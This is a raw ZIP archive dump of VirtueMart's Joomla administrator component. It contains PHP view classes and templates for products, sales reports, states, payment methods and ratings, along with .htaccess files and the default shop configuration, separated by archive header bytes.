$this->SetViewTitle('PRODUCT',$text); $this->addStandardEditViewCommands ($product->virtuemart_product_id); break; case 'massxref_cats': case 'massxref_cats_exe': $this->SetViewTitle('PRODUCT_MASSXREF'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $showVendors = Permissions::getInstance()->check('admin'); $this->assignRef('showVendors',$showVendors); $keyWord =''; $catmodel = VmModel::getModel('category'); $this->assignRef('catmodel', $catmodel); //$this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($catmodel,'category_name'); $categories = $catmodel->getCategoryTree(0,0,false,$this->lists['search']); $this->assignRef('categories', $categories); $catpagination = $catmodel->getPagination(); $this->assignRef('catpagination', $catpagination); //$this->addStandardDefaultViewCommands(); $this->setLayout('massxref'); JToolBarHelper::custom('massxref_cats_exe', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE'), false); break; case 'massxref_sgrps': case 'massxref_sgrps_exe': $sgrpmodel = VmModel::getModel('shoppergroup'); $this->addStandardDefaultViewLists($sgrpmodel); $shoppergroups = $sgrpmodel->getShopperGroups(false, true); $this->assignRef('shoppergroups', $shoppergroups); $sgrppagination = $sgrpmodel->getPagination(); $this->assignRef('sgrppagination', $sgrppagination); $this->setLayout('massxref'); JToolBarHelper::custom('massxref_sgrps_exe', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE'), false); break; default: if ($product_parent_id=JRequest::getInt('product_parent_id',false) ) { $product_parent= $model->getProductSingle($product_parent_id,false); if($product_parent){ $title='PRODUCT_CHILDREN_LIST' ; $link_to_parent = JHTML::_('link', JRoute::_('index.php?view=product&task=edit&virtuemart_product_id='.$product_parent->virtuemart_product_id.'&option=com_virtuemart'), $product_parent->product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT_PARENT').' '.$product_parent->product_name)); $msg= JText::_('COM_VIRTUEMART_PRODUCT_OF'). " ".$link_to_parent; } else { $title='PRODUCT_CHILDREN_LIST' ; $msg= 'Parent with product_parent_id '.$product_parent_id.' not found'; } } else { $title='PRODUCT'; $msg=""; } $this->db = JFactory::getDBO(); $this->SetViewTitle($title, $msg ); $this->addStandardDefaultViewLists($model,'created_on'); /* Get the list of products */ $productlist = $model->getProductListing(false,false,false,false,true); //The pagination must now always set AFTER the model load the listing $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); /* Get the category tree */ $categoryId = $model->virtuemart_category_id; //OSP switched to filter in model, was JRequest::getInt('virtuemart_category_id'); $category_tree = ShopFunctions::categoryListTree(array($categoryId)); $this->assignRef('category_tree', $category_tree); /* Load the product price */ if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $vendor_model = VmModel::getModel('vendor'); $productreviews = VmModel::getModel('ratings'); foreach ($productlist as $virtuemart_product_id => $product) { $product->mediaitems = count($product->virtuemart_media_id); $product->reviews = $productreviews->countReviewsForProduct($product->virtuemart_product_id); $vendor_model->setId($product->virtuemart_vendor_id); $vendor = $vendor_model->getVendor(); $currencyDisplay = CurrencyDisplay::getInstance($vendor->vendor_currency,$vendor->virtuemart_vendor_id); if(!empty($product->product_price) && !empty($product->product_currency) ){ $product->product_price_display = $currencyDisplay->priceDisplay($product->product_price,(int)$product->product_currency,1,true); } /* Write the first 5 categories in the list */ $product->categoriesList = shopfunctions::renderGuiList('virtuemart_category_id','#__virtuemart_product_categories','virtuemart_product_id',$product->virtuemart_product_id,'category_name','#__virtuemart_categories','virtuemart_category_id','category'); } $mf_model = VmModel::getModel('manufacturer'); $manufacturers = $mf_model->getManufacturerDropdown(); $this->assignRef('manufacturers', $manufacturers); /* add Search filter in lists*/ /* Search type */ $options = array( '' => JText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION'), 'parent' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT'), 'product' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT'), 'price' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE'), 'withoutprice' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE') ); $this->lists['search_type'] = VmHTML::selectList('search_type', JRequest::getVar('search_type'),$options); /* Search order */ $options = array( 'bf' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE'), 'af' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER') ); $this->lists['search_order'] = VmHTML::selectList('search_order', JRequest::getVar('search_order'),$options); // Toolbar JToolBarHelper::custom('massxref_cats', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_CAT'), true); JToolBarHelper::custom('massxref_sgrps', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_SGRPS'), true); JToolBarHelper::custom('createchild', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_CHILD'), true); JToolBarHelper::custom('cloneproduct', 'copy', 'copy', JText::_('COM_VIRTUEMART_PRODUCT_CLONE'), true); JToolBarHelper::custom('addrating', 'default', '', JText::_('COM_VIRTUEMART_ADD_RATING'), true); $this->addStandardDefaultViewCommands(); $this->assignRef('productlist', $productlist); $this->assignRef('virtuemart_category_id', $categoryId); $this->assignRef('model', $model); break; } parent::display($tpl); } /** * This is wrong *@deprecated */ function renderMail() { $this->setLayout('mail_html_waitlist'); $this->subject = JText::sprintf('COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT', $this->productName); $notice_body = JText::sprintf('COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_BODY', $this->productName, $this->url); parent::display(); } /** * Renders the list for the discount rules * * @author Max Milbers */ function renderDiscountList($selected,$name='product_discount_id'){ if(!class_exists('VirtueMartModelCalc')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'calc.php'); $discounts = VirtueMartModelCalc::getDiscounts(); $discountrates = array(); $discountrates[] = JHTML::_('select.option', '-1', JText::_('COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE'), 'product_discount_id' ); $discountrates[] = JHTML::_('select.option', '0', JText::_('COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL'), 'product_discount_id' ); // $discountrates[] = JHTML::_('select.option', 'override', JText::_('COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE'), 'product_discount_id'); foreach($discounts as $discount){ $discountrates[] = JHTML::_('select.option', $discount->virtuemart_calc_id, $discount->calc_name, 'product_discount_id'); } $listHTML = JHTML::_('Select.genericlist', $discountrates, $name, '', 'product_discount_id', 'text', $selected ); return $listHTML; } static function displayLinkToChildList($product_id, $product_name) { $db = JFactory::getDBO(); $db->setQuery(' SELECT COUNT( * ) FROM `#__virtuemart_products` WHERE `product_parent_id` ='.$product_id); if ($result = $db->loadResult()){ $result = JText::sprintf('COM_VIRTUEMART_X_CHILD_PRODUCT', $result); echo JHTML::_('link', JRoute::_('index.php?view=product&product_parent_id='.$product_id.'&option=com_virtuemart'), $result, array('title' => JText::sprintf('COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN',$product_name) )); } } static function displayLinkToParent($product_parent_id) { $db = JFactory::getDBO(); $db->setQuery(' SELECT * FROM `#__virtuemart_products_'.VMLANG.'` as l JOIN `#__virtuemart_products` using (`virtuemart_product_id`) WHERE `virtuemart_product_id` = '.$product_parent_id); if ($parent = $db->loadObject()){ $result = JText::sprintf('COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT', $parent->product_name); echo JHTML::_('link', JRoute::_('index.php?view=product&product_parent_id='.$product_parent_id.'&option=com_virtuemart'), $parent->product_name, array('title' => $result)); } } } //pure php no closing tag PK@y>\)5components/com_virtuemart/views/report/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\CE7components/com_virtuemart/views/report/tmpl/default.phpnuW+Areport ); $intervalTitle = JRequest::getVar('intervals','day'); if ( ($intervalTitle =='week') or ($intervalTitle =='month') ) $addDateInfo = true ; else $addDateInfo = false; // if( $this->pagination->limit < $rows ){ // if( ($this->pagination->limitstart + $this->pagination->limit) < $rows ) { // $rows = $this->pagination->limitstart + $this->pagination->limit; // } // } if ( JVM_VERSION == 2 ) JHtml::_('behavior.framework', true); ?>
        report[$j]; //$is = $this->itemsSold[$j]; $s = 0; ?>
        sort('created_on', 'COM_VIRTUEMART_'.$intervalTitle); ?> sort('o.virtuemart_order_id', 'COM_VIRTUEMART_REPORT_BASIC_ORDERS') ; ?> sort('product_quantity', 'COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS') ; ?> sort('order_subtotal_netto', 'COM_VIRTUEMART_REPORT_BASIC_REVENUE_NETTO') ; ?> sort('order_subtotal_brutto', 'COM_VIRTUEMART_REPORT_BASIC_REVENUE_BRUTTO') ; ?> sort('order_item_name', 'COM_VIRTUEMART_PRODUCT_NAME') ; ?> sort('virtuemart_product_id', 'COM_VIRTUEMART_PRODUCT_ID') ; ?>
        totalReport['number_of_ordersTotal']?> totalReport['itemsSoldTotal'];?> totalReport['revenueTotal_netto'];?> totalReport['revenueTotal_brutto'];?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\6components/com_virtuemart/views/report/tmpl/index.htmlnuW+APK@y>\)0components/com_virtuemart/views/report/.htaccessnuW+A Order allow,deny Deny from all PK@y>\:S:4components/com_virtuemart/views/report/view.html.phpnuW+ASetViewTitle('REPORT'); $myCurrencyDisplay = CurrencyDisplay::getInstance(); //update order items button $q = 'SELECT * FROM #__virtuemart_order_items WHERE `product_discountedPriceWithoutTax` IS NULL '; $db = JFactory::getDBO(); $db->setQuery($q); $res = $db->loadRow(); if($res) { JToolBarHelper::customX('updateOrderItems', 'new', 'new', JText::_('COM_VIRTUEMART_REPORT_UPDATEORDERITEMS'),false); vmError('COM_VIRTUEMART_REPORT_UPDATEORDERITEMS_WARN'); } $this->addStandardDefaultViewLists($model); $revenueBasic = $model->getRevenue(); if($revenueBasic){ $totalReport['revenueTotal_brutto']= $totalReport['revenueTotal_netto']= $totalReport['number_of_ordersTotal'] = $totalReport['itemsSoldTotal'] = 0 ; foreach($revenueBasic as &$j){ vmdebug('VirtuemartViewReport revenue',$j); $totalReport['revenueTotal_netto'] += $j['order_subtotal_netto']; $totalReport['revenueTotal_brutto'] += $j['order_subtotal_brutto']; $totalReport['number_of_ordersTotal'] += $j['count_order_id']; $j['order_subtotal_netto'] = $myCurrencyDisplay->priceDisplay($j['order_subtotal_netto']); $j['order_subtotal_brutto'] = $myCurrencyDisplay->priceDisplay($j['order_subtotal_brutto']); //$j['product_quantity'] = $model->getItemsByRevenue($j); $totalReport['itemsSoldTotal'] +=$j['product_quantity']; } $totalReport['revenueTotal_netto'] = $myCurrencyDisplay->priceDisplay($totalReport['revenueTotal_netto']); $totalReport['revenueTotal_brutto'] = $myCurrencyDisplay->priceDisplay($totalReport['revenueTotal_brutto']); // if ( 'product_quantity'==JRequest::getWord('filter_order')) { // foreach ($revenueBasic as $key => $row) { // $created_on[] =$row['created_on']; // $intervals[] =$row['intervals']; // $itemsSold[] =$row['product_quantity']; // $number_of_orders[] =$row['count_order_id']; // $revenue[] =$row['revenue']; // } // if (JRequest::getWord('filter_order_Dir') == 'desc') array_multisort($itemsSold, SORT_DESC,$revenueBasic); // else array_multisort($itemsSold, SORT_ASC,$revenueBasic); // } } $this->assignRef('report', $revenueBasic); $this->assignRef('totalReport', $totalReport); //$itemsSold = $model->getItemsSold($revenueBasic); //$this->assignRef('itemsSold', $itemsSold); // I tihnk is to use in a different layout such as product solds // PATRICK K. // $productList = $model->getOrderItems(); // $this->assignRef('productList', $productList); $orderstatusM =VmModel::getModel('orderstatus'); $this->lists['select_date'] = $model->renderDateSelectList(); $orderstates = JRequest::getVar ('order_status_code', array('C','S')); $this->lists['state_list'] = $orderstatusM->renderOSList($orderstates,'order_status_code',TRUE); $this->lists['intervals'] = $model->renderIntervalsList(); $this->assignRef('from_period', $model->from_period); $this->assignRef('until_period', $model->until_period); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); parent::display($tpl); } } PK@y>\1components/com_virtuemart/views/report/index.htmlnuW+APK@y>\)/components/com_virtuemart/views/state/.htaccessnuW+A Order allow,deny Deny from all PK@y>\_q  3components/com_virtuemart/views/state/view.json.phpnuW+AsetQuery($q); $states[$country_id] = $db->loadAssocList(); } echo json_encode($states); } } // pure php no closing tag PK@y>\ {Z 3components/com_virtuemart/views/state/tmpl/edit.phpnuW+A
        */?> virtuemart_country_id,JText::sprintf('COM_VIRTUEMART_STATE_COUNTRY',$this->country_name).' '. JText::_('COM_VIRTUEMART_DETAILS') ); ?>
        state->published); ?>
        worldZones, 'virtuemart_worldzone_id', '', 'virtuemart_worldzone_id', 'zone_name', $this->state->virtuemart_worldzone_id); ?>
        worldZones, 'virtuemart_worldzone_id', '', 'virtuemart_worldzone_id', 'zone_name', $this->country->virtuemart_worldzone_id);*/ ?>
        addStandardHiddenToForm(); ?>
        PK@y>\)4components/com_virtuemart/views/state/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\5components/com_virtuemart/views/state/tmpl/index.htmlnuW+APK@y>\G-Q 6components/com_virtuemart/views/state/tmpl/default.phpnuW+A
        virtuemart_country_id,JText::sprintf('COM_VIRTUEMART_STATES_COUNTRY',$this->country_name)); ?>
        states ); $i < $n; $i++) { $row = $this->states[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_state_id,null,'virtuemart_state_id'); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=state&task=edit&virtuemart_state_id=' . $row->virtuemart_state_id); ?>
        state_name; ?> virtuemart_worldzone_id; ?> state_2_code; ?> state_3_code; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\0components/com_virtuemart/views/state/index.htmlnuW+APK@y>\r*}~ 3components/com_virtuemart/views/state/view.html.phpnuW+ASetViewTitle(); $model = VmModel::getModel(); // $stateId = JRequest::getVar('virtuemart_state_id'); // $model->setId($stateId); $state = $model->getSingleState(); $countryId = JRequest::getInt('virtuemart_country_id', 0); if(empty($countryId)) $countryId = $state->virtuemart_country_id; $this->assignRef('virtuemart_country_id', $countryId); $isNew = (count($state) < 1); if(empty($countryId) && $isNew){ JError::raiseWarning(412,'Country id is 0'); return false; } $country = VmModel::getModel('country'); $country->setId($countryId); $this->assignRef('country_name', $country->getData()->country_name); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $this->assignRef('state', $state); $zoneModel = VmModel::getModel('Worldzones'); $wzsList = $zoneModel->getWorldZonesSelectList(); $this->assignRef('worldZones', $wzsList); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $states = $model->getStates($countryId); $this->assignRef('states', $states); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PK@y>\ Bcomponents/com_virtuemart/views/paymentmethod/tmpl/edit_config.phpnuW+Apayment->payment_jplugin_id){ // vmdebug('my payment ',$this->payment); //$parameters = new vmParameters($this->paym->payment_params, JPATH_PLUGINS.DS.'vmpayment'.DS.basename($this->paym->payment_element).'.xml', 'plugin' ); $parameters = new vmParameters($this->payment, $this->payment->payment_element , 'plugin' ,'vmpayment'); echo $rendered = $parameters->render(); } else { echo JText::_('COM_VIRTUEMART_SELECT_PAYMENT_METHOD' ); } PK@y>\qzȍ@components/com_virtuemart/views/paymentmethod/tmpl/edit_edit.phpnuW+A langList; ?>
        payment->payment_name); ?> payment->slug); ?> payment->published); ?> payment->payment_desc); ?> vmPPaymentList ); ?> shopperGroupList ); ?> payment->ordering,'class="inputbox"','',4,4); ?> vendorList); } ?>
        PK@y>\/U٤;components/com_virtuemart/views/paymentmethod/tmpl/edit.phpnuW+A
        payment->virtuemart_paymentmethod_id ); // Loading Templates in Tabs END ?>
        PK@y>\u |>components/com_virtuemart/views/paymentmethod/tmpl/default.phpnuW+Acheck( 'admin' )){ ?>
        perms->check( 'admin' )){ ?> payments ); $i < $n; $i++) { $row = $this->payments[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_paymentmethod_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=paymentmethod&task=edit&cid[]=' . $row->virtuemart_paymentmethod_id); ?> "> perms->check( 'admin' )){?>
        sort('payment_name', 'COM_VIRTUEMART_PAYMENT_LIST_NAME'); ?> sort('virtuemart_vendor_id', 'COM_VIRTUEMART_VENDOR'); ?> sort('payment_element', 'COM_VIRTUEMART_PAYMENT_ELEMENT'); ?> sort('ordering', 'COM_VIRTUEMART_LIST_ORDER'); ?> sort('published', 'COM_VIRTUEMART_PUBLISHED'); ?> sort('virtuemart_paymentmethod_id', 'COM_VIRTUEMART_ID') ?>
        payment_name; ?> payment_desc; ?> virtuemart_vendor_id); ?> paymShoppersList; ?> payment_element; ?> ordering; ?> shared; ?> virtuemart_paymentmethod_id; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\)<components/com_virtuemart/views/paymentmethod/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\=components/com_virtuemart/views/paymentmethod/tmpl/index.htmlnuW+APK@y>\8components/com_virtuemart/views/paymentmethod/index.htmlnuW+APK@y>\)7components/com_virtuemart/views/paymentmethod/.htaccessnuW+A Order allow,deny Deny from all PK@y>\~=;components/com_virtuemart/views/paymentmethod/view.html.phpnuW+AaddHelperPath(JPATH_VM_ADMINISTRATOR.DS.'helpers'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); if (!class_exists ('vmPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmplugin.php'); } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); $this->assignRef('perms', Permissions::getInstance()); $model = VmModel::getModel('paymentmethod'); //@todo should be depended by loggedVendor // $vendorId=1; // $this->assignRef('vendorId', $vendorId); // TODO logo $this->SetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); $vendorModel = VmModel::getModel('vendor'); $vendorModel->setId(1); $vendor = $vendorModel->getVendor(); $currencyModel = VmModel::getModel('currency'); $currencyModel = $currencyModel->getCurrency($vendor->vendor_currency); $this->assignRef('vendor_currency', $currencyModel->currency_symbol); if ($layoutName == 'edit') { // Load the helper(s) if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $payment = $model->getPayment(); $this->assignRef('payment', $payment); $this->assignRef('vmPPaymentList', self::renderInstalledPaymentPlugins($payment->payment_jplugin_id)); $this->assignRef('shopperGroupList', ShopFunctions::renderShopperGroupList($payment->virtuemart_shoppergroup_ids, true)); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($payment->virtuemart_vendor_id); $this->assignRef('vendorList', $vendorList); } $this->addStandardEditViewCommands( $payment->virtuemart_paymentmethod_id); } else { JToolBarHelper::custom('clonepayment', 'copy', 'copy', JText::_('COM_VIRTUEMART_PAYMENT_CLONE'), true); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $payments = $model->getPayments(); $this->assignRef('payments', $payments); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } function renderInstalledPaymentPlugins($selected){ if ( JVM_VERSION===1) { $table = '#__plugins'; $ext_id = 'id'; $enable = 'published'; } else { $table = '#__extensions'; $ext_id = 'extension_id'; $enable = 'enabled'; } $db = JFactory::getDBO(); //Todo speed optimize that, on the other hand this function is NOT often used and then only by the vendors // $q = 'SELECT * FROM #__plugins as pl JOIN `#__virtuemart_payment_method` AS pm ON `pl`.`id`=`pm`.`payment_jplugin_id` WHERE `folder` = "vmpayment" AND `published`="1" '; // $q = 'SELECT * FROM #__plugins as pl,#__virtuemart_payment_method as pm WHERE `folder` = "vmpayment" AND `published`="1" AND pl.id=pm.payment_jplugin_id'; $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmpayment" and `state`="0" AND `element`<>"moneybookers" ORDER BY `ordering`,`name` ASC'; $db->setQuery($q); $result = $db->loadAssocList($ext_id); if(empty($result)){ $app = JFactory::getApplication(); $app -> enqueueMessage(JText::_('COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED')); } $listHTML=''; return $listHTML; } } // pure php not tag PK@y>\(VR5components/com_virtuemart/views/ratings/view.html.phpnuW+Amax_rating = VmConfig::get('vm_maximum_rating_scale',5); $this->assignRef('max_rating', $this->max_rating); $model = VmModel::getModel(); $this->SetViewTitle('REVIEW_RATE' ); /* Get the task */ $task = JRequest::getWord('task'); switch ($task) { case 'listreviews': /* Get the data */ $this->addStandardDefaultViewLists($model); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $reviewslist = $model->getReviews($virtuemart_product_id); $lists = array(); $lists['filter_order'] = $mainframe->getUserStateFromRequest($option.'filter_order', 'filter_order', '', 'cmd'); $lists['filter_order_Dir'] = $mainframe->getUserStateFromRequest($option.'filter_order_Dir', 'filter_order_Dir', '', 'word'); $this->assignRef('reviewslist', $reviewslist); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); $this->addStandardDefaultViewCommands(false,true); break; case 'edit': /* Get the data */ $rating = $model->getRating($cids); $this->addStandardEditViewCommands(); /* Assign the data */ $this->assignRef('rating', $rating); break; case 'edit_review': JToolBarHelper::divider(); /* Get the data */ $rating = $model->getReview($cids); if(!empty($rating)){ $this->SetViewTitle('REVIEW_RATE',$rating->product_name." (". $rating->customer.")" ); JToolBarHelper::customX('saveReview', 'save', 'save', JText::_('COM_VIRTUEMART_SAVE'), false); JToolBarHelper::customX('applyReview', 'apply', 'apply', JText::_('COM_VIRTUEMART_APPLY'), false); } else { $this->SetViewTitle('REVIEW_RATE','ERROR' ); } JToolBarHelper::customX('cancelEditReview', 'cancel', 'cancel', JText::_('COM_VIRTUEMART_CANCEL'), false); /* Assign the data */ $this->assignRef('rating', $rating); break; default: $this->addStandardDefaultViewCommands(false, true); $this->addStandardDefaultViewLists($model); $ratingslist = $model->getRatings(); $this->assignRef('ratingslist', $ratingslist); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); break; } parent::display($tpl); } } // pure php no closing tag PK@y>\2components/com_virtuemart/views/ratings/index.htmlnuW+APK@y>\)6components/com_virtuemart/views/ratings/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\<components/com_virtuemart/views/ratings/tmpl/edit_review.phpnuW+A
        max_rating;$i++) { $title = (JText::_("COM_VIRTUEMART_RATING_TITLE").' : '. $i . '/' . $this->max_rating) ; $stars = ''; $rating_options[] = JHTML::_('select.option',$i,$stars); } echo JHTML::_('select.radiolist', $rating_options, 'vote', 'id="vote" class="inputbox"', 'value', 'text', $this->rating->vote); ?>
         
        rating->published); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\uު\\8components/com_virtuemart/views/ratings/tmpl/default.phpnuW+A
        ratingslist) > 0) { $i = 0; $k = 0; $keyword = JRequest::getWord('keyword'); foreach ($this->ratingslist as $key => $review) { $checked = JHTML::_('grid.id', $i , $review->virtuemart_rating_id); $published = JHTML::_('grid.published', $review, $i ); ?> virtuemart_product_id; ?> virtuemart_product_id ; ?>
        sort('created_on', 'COM_VIRTUEMART_DATE') ; ?> sort('product_name') ; ?> sort('rating', 'COM_VIRTUEMART_RATE_NOM') ; ?> sort('published') ?>
        created_on,'LC2',true) , array("title" => JText::_('COM_VIRTUEMART_RATING_EDIT_TITLE'))); ?> product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$review->product_name)); ?> rating) * 24; ?> rating) . '/' . $maxrating) ?>" class="ratingbox" style="display:inline-block;">
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\, P=components/com_virtuemart/views/ratings/tmpl/list_reviews.phpnuW+A
        reviewslist) > 0) { $i = 2; //$k = 0; $keyword = JRequest::getWord('keyword'); foreach ($this->reviewslist as $key => $review) { //vmdebug('my review ',$review); $checked = JHTML::_('grid.id', $i , $review->virtuemart_rating_review_id ,null, 'virtuemart_rating_review_id'); $published = JHTML::_('grid.published', $review, $i); ?> virtuemart_rating_review_id; ?> virtuemart_product_id ?>
        sort('pr.created_on', 'COM_VIRTUEMART_DATE') ; ?> sort('product_name') ; ?> sort('vote', 'COM_VIRTUEMART_RATE_NOM') ; ?> sort('published') ; ?>
        customer.' ('.vmJsApi::date($review->created_on,'LC2',true).')', array("title" => JText::_('COM_VIRTUEMART_RATING_EDIT_TITLE'))); ?> product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$review->product_name)); ?> vote).'.gif',$review->vote,array("title" => (JText::_('COM_VIRTUEMART_RATING_TITLE').' : '. $review->vote . ' :: ' . $this->max_rating))); $maxrating = VmConfig::get('vm_maximum_rating_scale', 5); $ratingwidth = round($review->review_rating) * 24; ?> review_rating) . '/' . $maxrating) ?>" class="ratingbox" style="display:inline-block;">
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(null,'listreviews'); ?>
        PK@y>\7components/com_virtuemart/views/ratings/tmpl/index.htmlnuW+APK@y>\)1components/com_virtuemart/views/ratings/.htaccessnuW+A Order allow,deny Deny from all PK@y>\L\P2$components/com_virtuemart/access.xmlnuW+A
        PK@y>\!Y(components/com_virtuemart/virtuemart.cfgnuW+A# Required configuration data for the VirtueMart installer # http://www.virtuemart.net # Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. # http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php # VirtueMart is free software. This version may have been modified pursuant # to the GNU General Public License, and as distributed it includes or # is derivative of works licensed under the GNU General Public License or # other free or open source software licenses. # $Id: virtuemart_defaults.cfg 3726 2011-07-16 12:01:49Z Milbo $ # # Notes: # - The hash-sign (#) is a comment character, but only if it's the first non-blank char on a line # - The equal-sign (=) when the default value is empty, is optional # - Constant values can be used by enclosing them in curly brackets ({}), eg: # some_path_value={JPATH_ROOT}{DS}virtuemart{DS}somewhere [config] ##shop settings shop_is_offline=0 offline_message=Our Shop is currently down for maintenance. Please check back again soon. use_as_catalog=0 currency_converter_module=convertECB.php order_mail_html=1 useSSL=0 dangeroustools=0 debug_enable=none google_jquery=1 multix=none ##Shopfront pdf_button_enable=1 show_emailfriend=1 show_printicon=0 show_out_of_stock_products=1 coupons_enable=0 show_uncat_child_products=0 coupons_default_expire=1,D weight_unit_default=KG lwh_unit_default=m list_limit=20 showReviewFor=all reviewMode=registered showRatingFor=all ratingMode=registered reviews_autopublish=1 reviews_minimum_comment_length=100 reviews_maximum_comment_length=2000 vmtemplate=default categorytemplate=default showCategory=1 categorylayout=0 categories_per_row=3 productlayout=0 products_per_row=3 vmlayout=0 show_featured=1 featured_products_per_row=3 show_topTen=1 topten_products_per_row=3 show_recent=1 show_latest=1 ##Paths assets_general_path=components/com_virtuemart/assets/ media_category_path=images/stories/virtuemart/category/ media_product_path=images/stories/virtuemart/product/ media_manufacturer_path=images/stories/virtuemart/manufacturer/ media_vendor_path=images/stories/virtuemart/vendor/ forSale_path_thumb=images/stories/virtuemart/forSale/resized/ img_resize_enable=1 img_width=90 img_height=90 no_image_set=noimage.gif no_image_found=warning.png ##Product order settings browse_orderby_field=p.virtuemart_product_id browse_orderby_fields=array:product_sku|category_name|mf_name|product_name browse_search_fields=array:product_sku|category_name|category_description|mf_name|product_name|product_s_desc ##Pricing show_prices=1 price_show_packaging_pricelabel=0 show_tax=1 basePrice=1 basePriceText=1 basePriceRounding=-1 variantModification=1 variantModificationText=1 variantModificationRounding=-1 basePriceVariant=1 basePriceVariantText=1 basePriceVariantRounding=-1 basePriceWithTax=1 basePriceWithTaxText=1 basePriceWithTaxRounding=-1 discountedPriceWithoutTax=1 discountedPriceWithoutTaxText=1 discountedPriceWithoutTaxRounding=-1 salesPriceWithDiscount=1 salesPriceWithDiscountText=1 salesPriceWithDiscountRounding=-1 salesPrice=1 salesPriceText=1 salesPriceRounding=-1 priceWithoutTax=1 priceWithoutTaxText=1 priceWithoutTaxRounding=-1 discountAmount=1 discountAmountText=1 discountAmountRounding=-1 taxAmount=1 taxAmountText=1 taxAmountRounding=-1 ##Check stock addtocart_popup=1 check_stock=0 automatic_payment=1 automatic_shipment=1 agree_to_tos_onorder=0 oncheckout_show_legal_info=1 oncheckout_show_register=1 oncheckout_show_steps=0 oncheckout_show_register_text=COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER ##SEO seo_disabled=0 seo_translate=0 seo_use_id=0 PK@y>\xٶ .components/com_virtuemart/admin.virtuemart.phpnuW+AisSuperVendor()){ // if(!Permissions::getInstance()->check('admin','storeowner')){ $app = JFactory::getApplication(); vmError( 'Access restricted to Vendor and Administrator only (you are admin and should not see this messsage?)','Access restricted to Vendors and Administrator only' ); $app->redirect('index.php'); } // Require specific controller if requested if($_controller = vRequest::getCmd('view', vRequest::getCmd('controller', 'virtuemart'))) { if 